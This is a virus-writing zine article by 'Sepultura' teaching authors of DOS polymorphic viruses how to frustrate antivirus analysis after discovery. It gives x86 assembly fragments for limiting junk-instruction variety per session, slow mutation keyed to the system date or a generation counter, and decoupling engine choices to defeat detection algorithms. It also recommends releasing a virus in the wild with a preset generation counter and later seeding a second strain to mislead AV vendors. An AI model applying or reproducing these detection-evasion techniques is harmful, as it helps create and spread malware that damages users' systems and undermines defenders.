POST - DISCOVERY - STRATAGIES ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ By Sepultura -USE-ANARCHY-TO-GET-WHAT-YOU-WANT- Introduction ~~~~~~~~~~~~ Most virii these days, take many Pre-Discovery precautions. This simply means that they take precautions to avoid discovery, assuming the virus has not already been discovered. Common examples of Pre-Discovery Stratagies are File Stealth, Sector Stealth, and MCB stealth (i.e any stealth). These mechanisms are used to stop the virus being discovered, but once it has been discovered, and is in the hands of the AV, they're essentially useless. It is only a matter of days (or even hours) until a suitable scan string or algorithm has been determined, for inclusion in to there AV programs. There is how ever, a solution: POST DISCOVERY STRATAGIES. These are mechanisms that instead of serving the purpose of hiding the virus from detection, make the virus harder to analyse, and hence determine a scan string or detection algorithm. To be entirely honest, the previous statement is not completely correct - in order to take advantage of any of these methods your virus can not have a scan string - without atleast polymorphism, Post Discovery Stratagies ARE USELESS. This document will be divided in to three main sections: Polymorphism Anti-Bait Techniques Anti-Debugger Techniques. I have decided to do it in that particular order, as it follows my master scheme, which in my opinion takes maximum advantage of Post Discovery Stratagies, and which I will outline throughout this document. I have supplied example code fragments throughout this document, several full programs in the Anti - Debugger section, as well as a bait maker in the Anti-Bait section, so you can test your Anti-Bait routines. Polymorphism ~~~~~~~~~~~~ -I-USED-THE-ENEMY-I-USED-ANARCHY- This section is not intended to tell you what a polymorphic engine is, nor will it tell you how to code one. If you do not know either of these, you should read this when you do, or alternatively you could read this, and take the explained methods in to account when you do code one. The thing you have to remember is that the AV people need to devise an alogrithm that will detect near to 100% of their samples, but at the same time, have only a small number of false positives. Your job, is ofcourse, to stop them from doing this. Polymorphism: The Obvious ~~~~~~~~~~~~~~~~~~~~~~~~~ One of the most obvious things that would you help in your Post Discovery Stratagies, is to make the decryptors and junk as varied as is possible. This way, they cannot use an algorithm that traces through the code, and concludes that the file is not infected, as soon as an opcode is encounted that can't be generated by your engine. What might not seem to obvious, is that although your engine should be able to CREATE a wide variety of junk instructions, it should not USE a wide variety of junk instructions in each decryptor. This might seem strange, but it can be very useful in delaying the AV's efforts. This is because there are two methods that the AV will use to analyse your engine: 1. They will disassemble the virus and analyse the engine, to see what it can generate in all possible cases. 2. They will infect 10s of thousands of bait files to see what it generates in all possible cases. The first of these can be countered by keeping the actual engine encrypted, independently of the virus, and then keeping the decryptor protected - using the methods outlined in Section 3 (Anti - Debugger Techniques). The second method can be countered using the techniques that will be discussed in this section (Polymorphism), and Section 2 (Anti - Bait Techniques). By using only a very small variety of the large number of junk instructions that your engine can generate, when the AV people look at the sample bait files, they will only see a small selection of the junk that your virus can really create. Because your polymorphic engine is so heavily encrypted / armoured, they will not have time to disassemble it, and will have to make their judgements based on the bait files. However, since the decryptors will only have a limited selection of all possible cases, they could easilly make the mistake of basing their algorithm on just those decryptors, and release an incomplete algorithm. Of course they will not realise their mistake until it is to late. Let us look at the following code as an example: ------------------------------------------------------------------------ ;Please note that this is simply a code fragment. junk? are supposed to ;be sub-procedures that create different junk opcodes, while get_rand is ;supposed to be a sub-procedure that returns a random number in AX ;between 0 and AX. It is assumed that ES = DS = CS. choose_junk_routines: mov cx,5 ;This code should be run only once, mov ax,0Ah ;when the virus installs it self TSR. call get_rand ;It will select 5 out of 15 junk add ax,ax ;routines to call for the decryptors. xchg si,ax ;Because it is only run once, all add si,offset main_junk_tbl ;decryptors will only use those junk mov di,offset junk_tbl ;routines 'til the system is rebooted rep movsw ;and the virus re-installed. ... main_junk_tbl: ;This is a table, listing all dw offset junk0 ;possible junk routines. dw offset junk1 dw offset junk2 dw offset junk3 dw offset junk4 dw offset junk5 dw offset junk6 dw offset junk7 dw offset junk8 dw offset junk9 dw offset junkA dw offset junkB dw offset junkC dw offset junkD dw offset junkE junk_tbl: ;This is a table, to store the 5 junk dw 0,0,0,0,0 ;routines to actually be used. ... put_junk: mov ax,4 ;This routine when, called will call get_rand ;generate 1 junk instruction. add ax,ax ;It will call 1 of the 5 routines xchg si,ax ;stored in junk_tbl. lodsw call ax ret ------------------------------------------------------------------------ The above code fragment, will ensure that all files infected in any 1 session, will only use 5 out of the 15 possible junk instructions. Polymorphism: Slow Mutation ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The above techniques work well, but can be even more effective, when used in conjucntion with slow mutation. Slow Mutation basically means that instead of making certain descisions based on random numbers, you make the descisions based on relatively static values. The most common values used for this, are from the date (i.e. the month or day of the month). For example, let us imagine that the sub - procedure 'choose_junk_routines' in the previous example, was replaced with this: ------------------------------------------------------------------------ choose_junk_routines: mov ah,2a ;ah=2a/i21 (get system date) int 21 mov dl,0 xchg dh,dl xchg dx,ax cwd ;ax=month, dx=0 mov cx,6 div cx ;divide month by 6 xchg dx,ax ;ax = remainder (i.e. 0 - 5) add ax,ax xchg si,ax add si,offset main_junk_tbl mov di,offset junk_tbl mov cx,5 rep movsw ------------------------------------------------------------------------ The advantage of using this method, is that the same set of five junk routines will be used for a ENTIRE MONTH. With the previous example if the AV was to make some bait files, and look at them, and think that your virus only generated five different junk instructions, and then ran the bait maker again, another time, after resetting the system, he/she would get bait file with (probably) a different set of junk instructions in the decryptor. Because of this, he/she would probably catch on. This is important to note, because they will have to make a set of bait files to devise the algorithm, and then at least another set to test it. If you based the 5 instructions on the month, and armoured the choose_junk_ routines procedure, then they would get the same 5 instructions, because they would be all produced in the same month, and would not easily catch on. Other things you should base upon slow mutation techniques include things such as what registers to use, the looping method, the encrypt/ decrypt method, and the length of the decryptor. This way, they have to reboot the computer each time, and set a new date, to see all possible combinations. Consisdering there are thousands of bait file to be made, this also means that there are thousands of resets to be done! Another thing you could base slow mutation descisions on, is a generation counter. This is very effective, because if the AV runs an infected file, and then because the virus is TSR in memory, runs the bait creator, to create some infected samples, all the infected samples, will be of the same generation. Even if the AV people think of changing the date, the fact that the virus changes some aspects of itself on each generation, will not be so obvious. This is especially true if the virus makes the changes on, say every fourth generation, instead of each and every generation. For example: ------------------------------------------------------------------------ inc cs:word ptr generation ;This should be run once, ;at installation. ... ;This sub-procedure will choose what method to use to decrement the ;count register. It will choose one of the 8 possible procedures to ;call from the "decrement_tbl" table. Instead of choosing a method at ;random, it divdes the generation by 8, and then takes the modulos of ;(GENERATION / 8) / 8, to choose which procedure to use. In short, the ;decrement method will only change every 8th generation. The AV do not ;spend enough time to see all possible methods, as they would have to ;look at 64 different generations. They will most likely look at only ;one or two. choose_decrement_method: mov ax,0 generation equ $-2 ;Generation counter starts at 0 shr ax,3 ;Divide Generation count by 8 and ax,7 ;get number between 0 and 7 add ax,ax xchg si,ax add si,offset decrement_tbl lodsw call ax ret ... decrement_tbl: ;this is supposed to be a table of dw offset code_dec_reg ;all the possible procedures you can dw offset code_sub_reg_1 ;use to decrement the count register. dw offset code_add_reg_negative_1 dw offset code_clc_sbb_reg_1 dw offset code_stc_sbb_reg_0 dw offset code_clc_adc_reg_negative_1 dw offset code_stc_adc_reg_negative_2 dw offset code_inc_dec_dec_reg ------------------------------------------------------------------------ Of course, you do not have to base something as trivial as the method of decrement on the generation counter, and could instead base something more important like the actual method of decryption on it. Also, if you wanted to be really sly (and I know you do), you could use the above method, but then release the virus in the wild, with its generation counter set to something like 16. This way, no one will see the first 2 methods, until the generation counter has carried over. About a week after releasing it, you could release it somewhere else, so that the AV people will get the first specimen, and their algorithm will be missing the first two methods, while the second infection you release can have the counter set to 0, so that the decryptors using the first two methods will be in the wild, and will spread, before the AV realise their mistake. Another thing you could base your slow poly on, is the file you are infecting. For example, let us imagine you based the above example on the SIZE of the file to be infected, divided by 1000, rather then the GENERATION divided by 8. Since the bait files will be of the same or similar size, little to no change will be seen. If a different file of a different size was infected however, you would have a totally different decryptor! Polymorphism: Make No Two Conditions Dependant ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ One of the biggest mistakes you could make when coding an engine is making two conditions dependant on the same thing. For example let us imagine that you made both the index register used, and the decryption method used dependant on the month. This could possibly mean, that when XOR encryption is used, you can guarantee BX is the index register, and when ADD is used SI will be the index register. This way, all they have to do is check for a XOR [SI],?? instruction or a ADD [BX],??. If you made this mistake, and had four index registers, and four decryption methods, the scanner need only to check for four possible instructions. However, if these were decided on totally independant criteria, they would have to check for 16 different instructions, increasing the chance of false positives. For another example, let us look at the following: ------------------------------------------------------------------------ code_jmp: mov ax,3f ;this code will generate a random call get_rand ;conditional jump, to a random offset mov ah,al ;between 0 adn 3f bytes from the or al,70 ;jump. Note that the conditional stosw ;jumps are 70h -> 7fh. ------------------------------------------------------------------------ The above example will always generate, a working, conditional jump. It does however have a fairly obvious flaw. If the jump opcode is 70h then the offset of the jump will be 0, 10h, 20h, or 30h. If the jump opcode is 70h then the offset of the jump will be 1, 11h, 21h, or 31h. This will remain true for all of 70h to 7fh. This is very dangerous, as a scanner could something like this in its algorithm: ------------------------------------------------------------------------ ;This code fragment, is assumed to be part of a scanner that is tracing ;through the code it scans. It is assumed that DS:SI points to the current ;instruction being processed. lodsw cmp al,70 jb not_cond_jmp cmp al,7f ;checks if we are dealing with a ja not_cond_jmp ;conditional jump. and ax,0f0f ;If the jump was generated with the cmp al,ah ;above example, AL will always = AH. jne file_not_infected not_cond_jmp: ------------------------------------------------------------------------ As you can see, if many things are dependant on each other, an algorithm could be used that uses techniques like the above, and if all rules are followed, safely assume the file was infected. To avoid the above check, the conditional jump coder should be something like this: ------------------------------------------------------------------------ mov ax,3f call get_rand mov bl,al mov al,0f call get_rand or al,70 mov ah,bl stosw ------------------------------------------------------------------------ As you can see, in the above example, the offset of the jump is totally independant of the jumps opcode. This will make the detection algorithm alot harder to devise.